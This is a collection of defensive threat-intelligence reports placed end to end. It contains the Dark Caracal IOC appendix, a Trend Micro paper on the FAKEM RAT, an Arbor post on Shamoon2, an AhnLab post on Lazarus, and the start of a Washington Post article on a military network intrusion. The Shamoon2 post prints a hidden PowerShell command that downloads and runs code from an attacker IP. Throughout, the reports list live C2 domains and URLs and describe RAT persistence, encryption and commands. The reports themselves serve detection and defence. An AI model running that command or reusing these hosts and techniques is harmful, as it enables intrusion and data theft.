]in arabpublisherslb[.
]com sabisint[.
]com fbarticles[.
]com planethdx[.
]com opwalls[.
]com kaliex[.
]net axroot[.
]com megadeb[.
]com mecodata[.
]com roxsoft[.
]net flexberry[.
]com globalmic[.
]net playermea[.
]com 47 SECURITY RESEARCH REPORT (continued from page 46) arablivenews[.
]com ecowatchasia[.
]com etn9[.
]com ancmax[.
]com tenoclock[.
]net kaliex[.
]net mangoco[.
]net jaysonj.no-ip[.
]biz orange2015[.
]net skypeservice.no-ip[.
]org accountslogin[.
]services adobeinstall[.
]com adobe-flashviewer.accountslogin[.
]services dropboxonline[.
]com iceteapeach[.
]com nvidiaupdate[.
]com skypeupdate[.
]com paktest.ddns[.
]net watermelon2017[.
]com IOC Type PackageName b0151434815f8b3796ab83848bf6969a2b2ad721 SHA1 com.primo.mobile.android.app bfbe5218a1b4f8c55eadf2583a2655a49bf6a884 SHA1 org.thoughtcrime.securesms 47243997992d253f7c4ea20f846191697999cd57 SHA1 com.psiphon3 ed4754effda466b8babf87bcba2717760f112455 SHA1 com.gbwhatsapp 309038fceb9a5eb6af83bd9c3ed28bf4487dc27d SHA1 org.telegram.plus eaed6ce848e68d5ec42837640eb21d3bfd9ae692 SHA1 org.torproject.android edf037efc400ccb9f843500103a208fe1f254453 SHA1 org.telegram.plus 35b70d89af691ac244a547842b7c8dfd9a7233fe SHA1 ch.threema.app 7d47da505f8d3ee153629b373f6792c8858f76e8 SHA1 com.flashplayer.player 4896b0c957b6a985b2b6efe2ffe517dceaa6ce01 SHA1 com.flashplayer.player 6a2d5c0a4cc5b5053f5c8f15c447316fae66b57b SHA1 com.flashplayer.player Mobile Implant Apps 48 SECURITY RESEARCH REPORT Desktop Implant Apps SHA2 Sum File Type ce583821191345274cd954b2db7da9742c239fe413fc17dcb97ffdd7b51cb072 MS Windows HtmlHelp Data ba4e063472a2559b4baa82d5272304a1cdae6968145c5ef221295c90e88458e2 PE32 executable (DLL) (GUI) Intel 80386 26419a0b6e033cdcb7bf4ca6b0b24fda35490cc6f2796682fb9403620f63d428 PE32 executable (GUI) Intel 80386 15af5bbf3c8d5e5db41fd7c3d722e8b247b40f2da747d5c334f7fd80b715a649 Zip archive data 22eee43887e94997f9f9786092ffd3a9b51f059924cba678cf7b62cfafa65b28 PE32 executable (GUI) Intel 80386 fcf8f9566868d65d901fd6db9a8d6decacb860f5595f84a6a878193eda11549d PDF document, version 1.6 f2178146741f91923c7d3e2442bd08605ed5a0927736e8cfdea00c055b2c6284 PDF document, version 1.6 6b6d363d653785f420dcc1a23c9d9b8b76b8647209b52562b774c793dc0e3f6b data a3ae05a134b30b8c8869d0acd65ed5bca160988b404c146a325f2399b9c1a243 PE32 executable (DLL) (GUI) Intel 80386 e5eeb0a46dac58b171ebcefec60e9ff351fc7279d95892c6f48f799a1a364215 Composite Document File V2 Document 400bca713ba1def9cdbc0e84fc97447db2fa3d12b1c5ef352ef985b7787b6ca4 Microsoft Word 2007 5e0d061531071e53b3b993e06ce20dae6389a7e9eba5d7887399de48e2f2d278 Composite Document File V2 f9f2e632535b214a0fab376b32cbee1cab6507490c22ba9e12cfa417ed8d72bb MS-DOS executable bf600e7b27bdd9e396e5c396aba7f079c244bfb92ee45c721c2294aa36586206 PE32 executable (GUI) da81aec00b563123d2fbd14fb6a76619c90f81e83c5bd8aa0676922cae96b9ad PE32 executable (GUI) Intel 80386 9cf3d3c0b790cebeacb8cb577cd346a6513b1b74fa120aff8984aa022301562e PE32 executable (DLL) (GUI) Intel 80386 091ae8d5649c4e040d25550f2cdf7f1ddfc9c698e672318eb1ab6303aa1cf85b PE32 executable (GUI) Intel 80386 a91c2cad20935a85d6eed72ef663254396914811f043018732d29276424a9578 PE32 executable (GUI) Intel 80386 b6ac374f79860ae99736aaa190cce5922a969ab060d7ae367dbfa094bfe4777d PE32 executable (GUI) Intel 80386 ed97719c008422925ae21ff34448a8c35ee270a428b0478e24669396761d0790 PE32 executable (GUI) Intel 80386 5c1622cabf21672a8a5379ce8d0ee0ba6d5bc137657f3779faa694fcc4bb3988 PE32 executable (GUI) Intel 80386 86f1bbda3ebf03a0f0a79d7bd1db68598ace9465f5cebb7f66773f8a818b4e8b PE32 executable (DLL) (GUI) Intel 80386 675c3d96070dc9a0e437f3e1b653b90dbc6700b0ec57379d4139e65f7d2799cd PE32 executable (DLL) (GUI) Intel 80386 ed25b0c20b1c1b271a511a1266fe3967ab851aaa9f793bdf4f3d19de1dcf6532 PE32 executable (GUI) Intel 80386 f581a75a0f8f8eb200a283437bed48f30ae9d5616e94f64acfd93c12fcef987a PE32 executable (GUI) Intel 80386 d57701321f2f13585a02fc8ba6cbf1f2f094764bfa067eb73c0101060289b0ba PE32 executable (GUI) Intel 80386 SECURITY RESEARCH REPORT 49 1-888-988-5795      lookout.com 2018 Lookout, Inc. LOOKOUT, the Lookout Shield Design, LOOKOUT with Shield Design, SCREAM, and SIGNAL FLARE are registered trademarks of Lookout, Inc. in the United States and other countries.
EVERYTHING IS OK, LOOKOUT MOBILE SECURITY, and PROTECTED BY LOOKOUT, are registered trademarks of Lookout, Inc. in the United States.
POWERED BY LOOKOUT is a trademark of Lookout, Inc. All other brand and product names are trademarks or registered trademarks of their respective holders.
20180118-Lookout-USv1.0 Lookout Website www.lookout.com Blog blog.lookout.com Email threatintellookout.com Twitter lookout EFF Website www.eff.org Blog www.eff.org/deeplinks Email presseff.org Twitter eff About Lookout Lookout is a cybersecurity company for a world run by apps.
Powered by the largest dataset of mobile code in existence, Lookout is the security platform of record for mobile device integrity and data access.
Lookout is trusted by hundreds of millions of individuals, hundreds of enterprises and government agencies, and such ecosystem partners as ATT, Deutsche Telekom, and Microsoft.
Headquartered in San Francisco, Lookout has offices in Amsterdam, Boston, London, Sydney, Tokyo, Toronto and Washington, D.C. About EFF The Electronic Frontier Foundation is the leading nonprofit organization defending civil liberties in the digital world.
Founded in 1990, EFF champions user privacy, free expression, and innovation through impact litigation, policy analysis, grassroots activism, and technology development.
We work to ensure that rights and freedoms are enhanced and protected as our use of technology grows.
Contributors Andrew Blaich, Lookout Apurva Kumar, Lookout Jeremy Richards, Lookout Michael Flossman, Lookout Cooper Quintin, EFF Eva Galperin, EFF Special thanks to the many others in our organization, and to our partners, who contributed significantly to this work.
https://www.lookout.com/ https://blog.lookout.com/ mailto:threatintel40lookout.com?subjectDark20Caracal https://twitter.com/lookout https://www.eff.org/ https://www.eff.org/deeplinks mailto:press40eff.org?subjectDark20Caracal https://twitter.com/EFF Executive Summary Key Findings Background Lebanons General Directorate of General Security (GDGS) Locating Attacker Facilities Test Devices Wi-Fi Networks Location Information from IP Addresses Identities: Attacker Personas Nancy Razzouk and Hassan Ward Hadi Mazeh Rami Jabbour Prolific Activity Exfiltrated Data Android Malware Content Windows Malware Content Patterns of Attacks The Initial Compromise Social Engineering and Spear-Phishing Surveillanceware - Mobile Capabilities Pallas  - Dark Caracals Custom Android Samples C2 Communications with Malware Implants Previous Use of FinFisher Spyware Surveillanceware - Desktop Components Bandook CrossRAT Infected Documents Other Samples Infrastructure Primary Command and Control Server Watering Hole Server Phishing Domains Windows C2 Servers Appendix Indicators of Compromise and Actor Tracking Mobile Implant Apps Desktop Implant Apps
Trend Micro Incorporated Research Paper 2013 FAKEM RAT Malware Disguised as Windows Messenger and Yahoo Messenger By: Nart Villeneuve Jessa dela Torre Contents Introduction ...........................................................................................................................1 Distribution ............................................................................................................................2 Installation .............................................................................................................................3 Backdoor ................................................................................................................................3 Network Traffic Encryption .............................................................................................. 5 Infrastructure........................................................................................................................7 Conclusion ............................................................................................................................ 8 1      FAKEM RAT Introduction The perpetrators of targeted attacks aim to maintain persistent presence in a target network in order to extract sensitive data when needed.
To maintain persistent presence, attackers seek to blend in with normal network traffic and use ports that are typically allowed by firewalls.
As a result, many of the malware used in targeted attacks utilize the HTTP and HTTPS protocols to appear like web traffic.
However, while these malware do give attackers full control over a compromised system, they are often simple and configured to carry out a few commands.
Attackers often use remote access Trojans (RATs), which typically have graphical user interfaces (GUIs) and remote desktop features that include directory browsing, file transfer, and the ability to take screenshots and activate the microphone and web camera of a compromised computer.
Attackers often use publicly available RATs like Gh0st, PoisonIvy, Hupigon, and DRAT, and closed-released RATs like MFC Hunter and PlugX.1 However, the network traffic these RATs produce is well-known and easily detectable although attackers still successfully use them.2 Attackers always look for ways to blend their malicious traffic with legitimate traffic to avoid detection.
We found a family of RATs that we call FAKEM that make their network traffic look like various protocols.
Some variants attempt to disguise network traffic to look like Windows Messenger and Yahoo Messenger traffic.
Another variant tries to make the content of its traffic look like HTML.
While the disguises the RATs use are simple and distinguishable from legitimate traffic, they may be just good enough to avoid further scrutiny.
1 Gh0st: http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf and http://www.
mcafee.com/ca/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf PoisonIvy: https://media.blackhat.com/bh-eu-10/presentations/Dereszowski/BlackHat-EU-2010- Dereszowski-Targeted-Attacks-slides.pdf Hupigon: http://www.f-secure.com/v-descs/backdoor_ w32_hupigon.shtml DRAT: http://blog.trendmicro.com/trendlabs-security-intelligence/ watering-holes-and-zero-day-attacks/ MFC Hunter: http://blog.trendmicro.com/trendlabs- security-intelligence/japan-us-defense-industries-among-targeted-entities-in-latest-attack/ and PlugX: http://about-threats.trendmicro.com/us/webattack/112/PullingthePlugonPlugX 2 http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp- detecting-apt-activity-with-network-traffic-analysis.pdf http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf http://www.mcafee.com/ca/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf http://www.mcafee.com/ca/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf https://media.blackhat.com/bh-eu-10/presentations/Dereszowski/BlackHat-EU-2010-Dereszowski-Targeted-Attacks-slides.pdf https://media.blackhat.com/bh-eu-10/presentations/Dereszowski/BlackHat-EU-2010-Dereszowski-Targeted-Attacks-slides.pdf http://www.f-secure.com/v-descs/backdoor_w32_hupigon.shtml http://www.f-secure.com/v-descs/backdoor_w32_hupigon.shtml http://blog.trendmicro.com/trendlabs-security-intelligence/watering-holes-and-zero-day-attacks/ http://blog.trendmicro.com/trendlabs-security-intelligence/watering-holes-and-zero-day-attacks/ http://blog.trendmicro.com/trendlabs-security-intelligence/japan-us-defense-industries-among-targeted-entities-in-latest-attack/ http://blog.trendmicro.com/trendlabs-security-intelligence/japan-us-defense-industries-among-targeted-entities-in-latest-attack/ http://about-threats.trendmicro.com/us/webattack/112/PullingthePlugonPlugX http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-detecting-apt-activity-with-network-traffic-analysis.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-detecting-apt-activity-with-network-traffic-analysis.pdf 2      FAKEM RAT Distribution All three versions of the FAKEM RAT that we investigated were distributed via spear-phishing emails using social engineering to lure targets into executing a malicious attachment.
While we observed the use of different themes, the content of the emails were always interesting to potential targets.
FIGURE 1: Sample spear-phishing emails with attachments that drop FAKEM RAT The malicious attachments were most often Microsoft Word documents with code that exploits the following vulnerabilities: CVE-2010-3333: RTF Stack Buffer Overflow Vulnerability addressed in Microsoft Security Bulletin MS10-087.3 CVE-2012-0158: MSCOMCTL.OCX RCE Vulnerability addressed in Microsoft Security Bulletin MS12-027.4 We also found a Microsoft Excel file that exploits CVE-2009-3129, the Excel Featheader Record Memory Corruption Vulnerability addressed in Microsoft Security Bulletin MS09-067.5 We also saw samples that were simply executable (.EXE) files.
3 http://technet.microsoft.com/en-us/security/bulletin/MS10-087 4 http://technet.microsoft.com/en-us/security/bulletin/ms12-027 5 http://technet.microsoft.com/en-us/security/bulletin/MS09-067 http://technet.microsoft.com/en-us/security/bulletin/MS10-087 http://technet.microsoft.com/en-us/security/bulletin/ms12-027 http://technet.microsoft.com/en-us/security/bulletin/MS09-067 3      FAKEM RAT Installation After exploitation, an .EXE file packed with UPX is dropped.6 After initially dropping the malicious file named hkcmd.exe to the Temp folder, the malware typically copies itself using the name, tpframe.exe, to the System folder.
It then adds the following registry entry to enable its automatic execution at every system startup: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\policies\Explorer\run tpbar  System\tpframe.exe Backdoor The network traffic the malware produces is designed to look like Windows Messenger traffic.
Malware of this type were discussed on Twitter, noted by SonicWALL, and found to have been active as far back as September 2009.7 However, it remains unclear if all the attacks that used this malware were connected.
The malicious traffic begins with headers similar to actual Windows Messenger traffic: MSG 5 N 130 MIME-Version: 1.0 However, beyond this, you will see that the traffic is not valid Windows Messenger traffic but may be sufficiently disguised as such to escape further scrutiny.
6 UPX is a free tool that compresses executable files.
However, it is commonly used to pack malware files, see http://upx.sourceforge.net/ for more details.
7 https://twitter.com/mikko/status/232851667446538241, https://www.mysonicwall.com/ sonicalert/searchresults.aspx?evarticleid464, and https://twitter.com/diocyde/ statuses/232873023651336192 http://upx.sourceforge.net/ https://twitter.com/mikko/status/232851667446538241 https://www.mysonicwall.com/sonicalert/searchresults.aspx?evarticleid464 https://www.mysonicwall.com/sonicalert/searchresults.aspx?evarticleid464 https://twitter.com/diocyde/statuses/232873023651336192 https://twitter.com/diocyde/statuses/232873023651336192 4      FAKEM RAT FIGURE 4: Malicious traffic disguised as Yahoo Messenger traffic FIGURE 3: Legitimate Windows Messenger traffic FIGURE 2: Malicious traffic disguised as legitimate Windows Messenger traffic Compared with actual Windows Messenger traffic shown in Figure 3, it is easy to distinguish the malicious traffic shown in Figure 2.
During our investigation of the fake Windows Messenger RAT, we found another version that attempts to disguise its network traffic as Yahoo Messenger traffic.
The network communication this version uses begins with YMSG, the Yahoo Messenger traffic header.
FIGURE 5: Legitimate Yahoo Messenger traffic However, the network traffic shown in Figure 4 does not resemble legitimate Yahoo Messenger traffic beyond the use of the header, YMSG.
Compared with the legitimate Yahoo Messenger traffic shown in Figure 5, it is easy to distinguish between the two.
A third version of the FAKEM RAT attempts to disguise the network traffic it produces as HTML.
The malicious traffic begins with strings like htmltitle1..56/titlebody or htmltitle12356/titlebody.8 8 This variant was referenced during an incident documented by AlienVault in March 2012 in http://labs.alienvault.com/labs/index.php/2012/alienvault-research-used-as-lure-in-targeted- attacks/.
http://labs.alienvault.com/labs/index.php/2012/alienvault-research-used-as-lure-in-targeted-attacks/ http://labs.alienvault.com/labs/index.php/2012/alienvault-research-used-as-lure-in-targeted-attacks/ 5      FAKEM RAT FIGURE 6: Malicious traffic disguised as HTML traffic This is a fairly rudimentary disguise and odd because you would expect HTML to be the result of a request to a web server and not as something a client would send to a web server.
Network Traffic Encryption The network communication between the compromised computer and the RAT controller is encrypted.
The encryption is the same across variants and done at the bit level.
Each byte is XOR-ed by every letter in the string, YHCRA, and rotated 3 bits to the right after every XOR operation.
Encrypting the communication ensures that the suspicious data passed between the compromised host and the attackers cannot be easily viewed in plain text.
The communication comes in 1024-byte blobs of data that start with the 32-byte header.
It appears that attackers may specify any kind of fake headers within the first 32 bytes in order to disguise the subsequent network traffic.
The following bits of information are initially sent by the compromised host when the communication starts: User name Computer name OEM code page identifier What looks like a campaign code but only for some samples The commands are not preconfigured as the malware relies on the data sent by the server.
For instance, when a client receives the command, 0211, this signifies that it should execute the accompanying data in memory.
6      FAKEM RAT The following are the commands the server issues and their meanings: 0211: Execute code.
0212: Reconnect to receive data.
0213: Sleep, close socket, and reconnect.
0214: Exit.
To determine the RATs capabilities, we allowed the attackers to infiltrate a honeypot computer and captured all of the network traffic it generated.
We decrypted the network traffic and determined the commands the attackers used, which include: CmdMana: Command Manager allows attackers to execute shell commands.
FileMan: File Manager allows the attackers to browse directories.
HostIn: Host Information provides information about the compromised computer.
ProcMan: Process Manager gives attackers access to running processes.
RegMana: Registry Manager gives attackers access to the Windows registry.
Scree: Screen takes a snapshot of the desktop.
ServiceMa: Service Manager allows access to services.
Passwo: Password accesses stored passwords like those saved in Internet Explorer (IE).
UStea: Uploads files from a compromised computer.
7      FAKEM RAT Infrastructure The Windows Messenger samples we analyzed were clustered into five groups that did not have overlapping linkages.
Four of the clusters were relatively small and focused on four different domains: vcvcvcvc.dyndns.org zjhao.dtdns.net avira.suroot.com .googmail.com The vcvcvcvc.dyndns.org domain is particularly interesting because we also found it being used as a command-and-control (CC) server for Protuxa well- known malware family that has been used in many targeted attacks over the years.
We also found that the avira.suroot.com domain used as a CC server for yet another malware family we call cxgid.
The .googmail.com domain was slightly larger and included names like apple12.crabdance.com and apple12.co.cc.
However, the largest cluster revolved around the .yourturbe.org domain and overlapped with the HTML variant.
We also found small clusters of the HTML variant that revolved around the domain, endless.zapto.org, which was downloaded as a second-stage malware by Protux.
FIGURE 7: FAKEM domains associated with the Windows Messenger and HTML variants 8      FAKEM RAT Meanwhile, the Yahoo Messenger samples we analyzed all accessed freeavg.
sytes.neta domain name that frequently resolved to different IP addresses.
FIGURE 8: FAKEM domains associated with the Yahoo Messenger variant The various samples we collected appear to belong to groups that overlapped a little.
This suggests that rather than being associated with a particular campaign, the use of various FAKEM RATs could be distributed among multiple threat actors.
Conclusion Knowledge of the attack tools, techniques, and infrastructure of adversaries is critical for developing defensive strategies.
This research paper examined three variants of a RATFAKEMthat attempt to disguise the network traffic they produce to stay under the radar.
Now that popular RATs like Gh0st and PoisonIvy have become well-known and can easily be detected, attackers are looking for methods to blend in with legitimate traffic.
While it is possible to distinguish the network traffic FAKEM RAT variants produce for the legitimate protocols they aim to spoof, doing so in the context of a large network may not be not easy.
The RATs ability to mask the traffic it produces may be enough to provide attackers enough cover to survive longer in a compromised environment.
Fortunately, solutions like Trend Micro Deep Discovery can help network administrators protect their organizations from attacks that use the FAKEM RAT by detecting the traffic its variants produce.
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2/21/2017 Additional Insights on Shamoon2 arbornetworks.com/blog/asert/additional-insights-shamoon2/ By Neal Dennis on 02/21/2017.
Posted in analysis, attack lifecycle, Interesting Research, Malware, threat analysis.
IBM analysts recently unveiled a first look at how threat actors may have placed Shamoon2 malware on systems in Saudi Arabia.
Researchers showcased a potential malware lifecycle which started with spear phishing and eventually led to the deployment of the disk-wiping malware known as Shamoon.
Their research showcased a set of downloaders and domains that could potentially lead to a more extensive malware distribution campaign.
While researching elements in the IBM report, ASERT discovered additional malicious domains, IP addresses, and artifacts.
The basic functionality of the new documents and their PowerShell components matched what was previously disclosed.
For more information on the overall capabilities of the malware, please review IBMs ongoing research.
It is our hope that by providing additional indicators, end-point investigators and network defenders will be able to discover and mitigate more Shamoon2 related compromises.
Initial Discoveries The following new samples were likely delivered via similar spear phishing campaigns as described in IBMs research.
All three shared the same IPs and URLs, also provided below.
These samples were located by pivoting on document attributes.
In this case, a sample from the IBM report indicated the document author gerry.knight which led us to the following three additional samples.
MD5 MD5 2a0df97277ddb361cecf8726df6d78ac 5e5ea1a67c2538dbc01df28e4ea87472 d30b8468d16b631cafe458fd94cc3196 IPs 104.218.120[.
]128 69.87.223[.
]26 5.254.100[.
]200 URLs analytics-google[.
]org:69/checkFile.aspx analytics-google[.
]org 69.87.223[.
]26:8080/p The following is a screenshot of a macro-enabled document captured from sample 5e5ea1a67c2538dbc01df28e4ea87472: 1/4 https://www.arbornetworks.com/blog/asert/additional-insights-shamoon2/ https://www.arbornetworks.com/blog/asert/author/e-j-dennis/ https://www.arbornetworks.com/blog/asert/category/analysis/ https://www.arbornetworks.com/blog/asert/category/attack-lifecycle/ https://www.arbornetworks.com/blog/asert/category/interesting-research/ https://www.arbornetworks.com/blog/asert/category/malware/ https://www.arbornetworks.com/blog/asert/category/threat-analysis/ https://securityintelligence.com/the-full-shamoon-how-the-devastating-malware-was-inserted-into-networks/ Once enabled the extracted macro executed the following: powershell.exe -w hidden -noni -nop -c iex(New-Object System.
Net.
WebClient).DownloadString(\http://69.87.223.26:8080/p\) Pivoting on Passive DNS From the previous samples, we performed a passive DNS lookup on the IPs.
We found get.adobe.go-microstf[.
]com hosted at 104.218.120[.
]128 around the time this campaign was ongoing, November 2016.
Researching the domain go-microstf[.
]com, hosted at 45.63.10[.
]99, revealed yet another iteration of malicious executables.
In this case, a URL used to download the PowerShell component shared a naming convention found in the IBM report, http://69.87.223[.
]26:8080/eiloShaegae1 and connected to the IP address used by the previous three samples.
The following are IOCs related to this domain: MD5 83be35956e5d409306a81e88a1dc89fd IPs 45.63.10[.
]99 69.87.223[.
]26 URLs go-microstf[.
]com 69.87.223[.
]26:8080/eiloShaegae1 go-microstf[.
]com/checkfile.aspx The domain go-microstf[.
]com was originally set up to spoof Google Analytics login page.
The following screenshot is from the malicious domain: 2/4 Possible Connections to Iranian state-sponsored Kittens Finally, research yielded a relatively unique sample.
This particular iteration was submitted to VirusTotal on September 16, 2016.
The majority of samples analyzed to date were submitted no earlier than mid-October, with most being submitted in January 2017 or later.
We were able to discover this particular version by diving further into connections to analytics-google[.
]org.
Unlike newer samples, this one created a unique file sloo.exe.
The file was created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe.
In addition to this file, the sample also contacted 104.238.184[.
]252 for the PowerShell executable.
Researchers at Palo Alto have attributed sloo.exe and related activities to threat actors of a likely Iranian state- sponsored origin which theyve named Magic Hound.
The group Magic Hound is linked via infrastructure and tools to the Rocket Kitten threat actor group although Palo Alto cannot confirm the extent of any relationship between the two groups.
Dell Secureworks analysts recently concluded that domains discussed in the IBM report were linked to the Iranian PuppyRAT.
In addition, Dell analysts have assessed with high-confidence these activities are attributable to Iranian state-sponsored activities.
IOCs for this version were: 3/4 http://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations MD5 07d6406036d6e06dc8019e3ade6ee7de IPs 104.238.184[.
]252 5.254.100[.
]200 URLs analytics-google[.
]org:69/checkFile.aspx Conclusion These additional IOCs will hopefully provide more context into the ongoing threat.
The link to possible Iranian threat actors supports ongoing analysis that Shamoon2 was perpetrated by Iranian state-sponsored threat actors.
The last sample discussed may be malware-0 or at least part of the overall development and subsequent deployment of tools used to install Shamoon on Saudi systems.
Consolidated IOC list: MD5 2a0df97277ddb361cecf8726df6d78ac 5e5ea1a67c2538dbc01df28e4ea87472 d30b8468d16b631cafe458fd94cc3196 83be35956e5d409306a81e88a1dc89fd 07d6406036d6e06dc8019e3ade6ee7de IPs 104.218.120[.
]128 69.87.223[.
]26 5.254.100[.
]200 45.63.10[.
]99 104.238.184[.
]252 URLs analytics-google[.
]org:69/checkFile.aspx analytics-google[.
]org 69.87.223[.
]26:8080/p go-microstf[.
]com 69.87.223[.
]26:8080/eiloShaegae1 get.adobe.go-microstf[.
]com go-microstf[.
]com/checkfile.aspx Tags: disk wiper, IOCs, Iran, Saudi Arabia, Shamoon, Shamoon2 4/4 https://www.arbornetworks.com/blog/asert/tag/disk-wiper/ https://www.arbornetworks.com/blog/asert/tag/iocs/ https://www.arbornetworks.com/blog/asert/tag/iran/ https://www.arbornetworks.com/blog/asert/tag/saudi-arabia/ https://www.arbornetworks.com/blog/asert/tag/shamoon/ https://www.arbornetworks.com/blog/asert/tag/shamoon2/ Additional Insights on Shamoon2
1/5 April 18, 2022 A new type of malware from the Lazarus attack group that exploits the INITECH process.
asec.ahnlab.com/ko/33706 AhnLabs ASEC analysis team is monitoring the situation in which about 47 companies and institutions, including defense companies, are being infected with the malicious code distributed by Lazarus Group in the first quarter of 2022, and seriously judges this situation.
It was confirmed that malicious behavior was generated by the INITECH process (inisafecrosswebexsvc.exe) in the affected companies.
The following items were first checked for inisafecrosswebexsvc.exe on the victim system.
The inisafecrosswebexsvc.exe file is It is an executable file of INISAFE CrossWeb EX V3, a security program of INITECH.
It has the same hash value as a normal file.
(
MD5:4541efd1c54b53a3d11532cb885b2202) It is a file normally signed by INITECH.
INISAFE Web EX Client was installed in the system before the breach, and no trace of tampering was found.
It is executed by iniclientsvc_x64.exe at system boot time, and it was executed in the same way on the day of the breach.
The confirmed inisafecrosswebexsvc.exe file is a normal file that has not been tampered with.
As a result of checking the process execution history and the code of the malicious code SCSKAppLink.dll, it was found that SCSKAppLink.dll was injected into inisafecrosswebexsvc.exe and operated.
SCSKAppLink.dll contains code that branches according to the injected host process.
The branch code is written to download and execute additional malicious code by accessing hxxps://matric.or.kr/include/main/main_top.asp?prd_fldracket when it is injected into the inisafecrosswebexsvc.exe process and operates.
In the rest of the branches, it is supposed to determine whether svchost.exe, rundll32.exe, and notepad.exe are injected, but the branch statement does not contain executable code, so it is not considered to be a complete malicious code.
The inisafecrosswebexsvc.exe injected with SCSKAppLink.dll connects to the malicious code distribution site, downloads the downloader malware main_top[1].htm file to the Internet temporary folder path, and copies it to SCSKAppLink.dll.
https://asec.ahnlab.com/ko/33706/ 2/5 Download Path: c:\users\ user\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm Copied path: C:\Users\Public\SCSKAppLink.dll Figure 1.
Branch code according to host process of SCSKAppLink.dll Figure 2.
SCSKAppLink.dll code (C2 address accessed when host is inisafecrosswebexsvc.exe) The same malware was mentioned on a Symantec blog a few days ago.
A blog titled Lazarus Targets Chemical Sector, published on April 15th, describes the Lazarus attack group attacking the chemical sector.
It seems that Lazarus attacks are expanding targeting major industries such as domestic defense and chemical industries.
(
https://symantec-enterprise- blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical ) https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical 3/5 AhnLab judges SCSKAppLink.dll to be a malicious code created by the Lazarus attack group, and continues to track the related malicious code.
The IOCs of related malicious codes identified so far are as follows.
[
File Diagnosis] Data/BIN.Encoded Downloader/Win.
LazarAgent Downloader/Win.
LazarShell HackTool/Win32.Scanner Infostealer/Win.
Outlook Trojan/Win.
Agent Trojan/Win.
Akdoor Trojan/Win.
LazarBinder Trojan/Win.
Lazardoor Trojan/Win.
LazarKeyloger Trojan/Win.
LazarLoader Trojan/Win.
LazarPortscan Trojan/Win.
LazarShell Trojan/Win.
Zvrek Trojan/Win32.Agent [File MD5] 0775D753AEAEBC1CFF491E42C8950EC0 0AC90C7AD1BE57F705E3C42380CBCCCD 0F994F841C54702DE0277F19B1AC8C77 196FE14B4EC963BA98BBAF4A23A47AEF 1E7D604FADD7D481DFADB66B9313865D 2EF844ED5DCB9B8B38EBDE3B1E2A450C 39457097686668A2F937818A62560FE7 3D7E3781BD0B89BA88C08AA443B11FE5 3ECD26BACD9DD73819908CBA972DB66B 4B96D9CA051FC68518B5A21A35F001D0 4E2DFD387ADDEE4DE615A57A2008CFC6 5349C845499A6387823FF823FCCAA229 570F65824F055DE16EF1C392E2E4503A 683713A93337F343149A5B3836475C5D 6929CAA7831AE2600410BC5664F692B3 6A240B2EDC1CA2B652DBED44B27CB05F 7188F827D8106F563980B3CCF5558C23 7607EF6426F659042D3F1FFBFEA13E6A 7870DECBC7578DA1656D1D1FF992313C 7BF6B3CD3B3034ABB0967975E56F0A4B 4/5 81E922198D00BE3E6D41DCE773C6A7FB 878AD11012A2E965EA845311FB1B059F 8FCDF6506CA05EFAFC5AF35E0F09B341 933B640D26E397122CE8DE9293705D71 A329AC7215369469D72B93C1BAC1C3C4 A8B90B2DD98C4FDD4AE84A075A5A9473 ADF0D4BBEFCCF342493E02538155E611 B213063F28E308ADADF63D3B506E794E B3E03A41CED8C8BAA56B8B78F1D55C22 B5EAEC8CE02D684BAA3646F39E8BC9B5 B85FDE972EE618A225BFBA1CEF369CC8 B91D1A5CC4A1DE0493C1A9A9727DB6F9 B974BC9E6F375F301AE2F75D1E8B6783 BB9F5141C53E74C9D80DCE1C1A2A13F0 C99D5E7EDBA670515B7B8A4A32986149 CB5401C760B89D80657FC0EFC605AE62 D3BFA72CC8F6F8D3D822395DBC8CD8B8 D57F8CD2F49E34BEDA94B0F90426F7B3 D9BC5EDCE4B1C4A941B0BF8E3FAC3EA8 DD3710ABFACDF381801BB11CF142BD29 DD759642659D7B2C7FD365CBEFF4942E E04206BA707DE4CDE94EFEDA6752D0CA E6265DCCFDEF1D1AA134AEC6236734F8 E84404DED7096CD42EF39847DE002361 E8D7EAF96B3E5AEE219013C55682968C EC99EBB78857211EB52EB84750D070E7 F15FD25A4C6E94E2202090BBB82EBC39 F48369111F2FAABB0CCB5D1D90491E0E [IP/URL] hxxps://www.matric.or.kr/include/main/main_top.asp hxxps://www.gaonwell.com/data/base/mail/login.asp hxxp://www.h-cube.co.kr/main/image/gelery/gallery.asp hxxps://www.shoppingbagsdirect.com/media/images/?uit hxxps://www.okkids.kr/html/program/display/?re32 hxxps://www.namchoncc.co.kr/include/?ind55 Related IOCs and related detailed analysis information can be checked through AhnLabs next-generation threat intelligence platform AhnLab TIP subscription service.
Categories: Malware information , incident analysis case https://asec.ahnlab.com/ko/category/malware/ https://asec.ahnlab.com/category/ecb9a8ed95b4ec82aceab3a0-ebb684ec849d-ec82aceba180/ 5/5 Tagged as: Forensics , Incident , Lazarus https://asec.ahnlab.com/tag/forensics/ https://asec.ahnlab.com/tag/ecb9a8ed95b4ec82aceab3a0/ https://asec.ahnlab.com/ko/tag/lazarus/
By Ellen Nakashima Cyber-intruder sparks response, debate washingtonpost.com /national/national-security/cyber-intruder-sparks-response- debate/2011/12/06/gIQAxLuFgO_story.html The first sign of trouble was a mysterious signal emanating from deep within the U.S. militarys classified computer network.
Like a human spy, a piece of covert software in the supposedly secure system was beaconing  trying to send coded messages back to its creator.
An elite team working in a windowless room at the National Security Agency soon determined that a rogue program had infected a classified network, kept separate from the public Internet, that harbored some of the militarys most important secrets, including battle plans used by commanders in Afghanistan and Iraq.
The governments top cyberwarriors couldnt immediately tell who created the program or why, although they would come to suspect the Russian intelligence service.
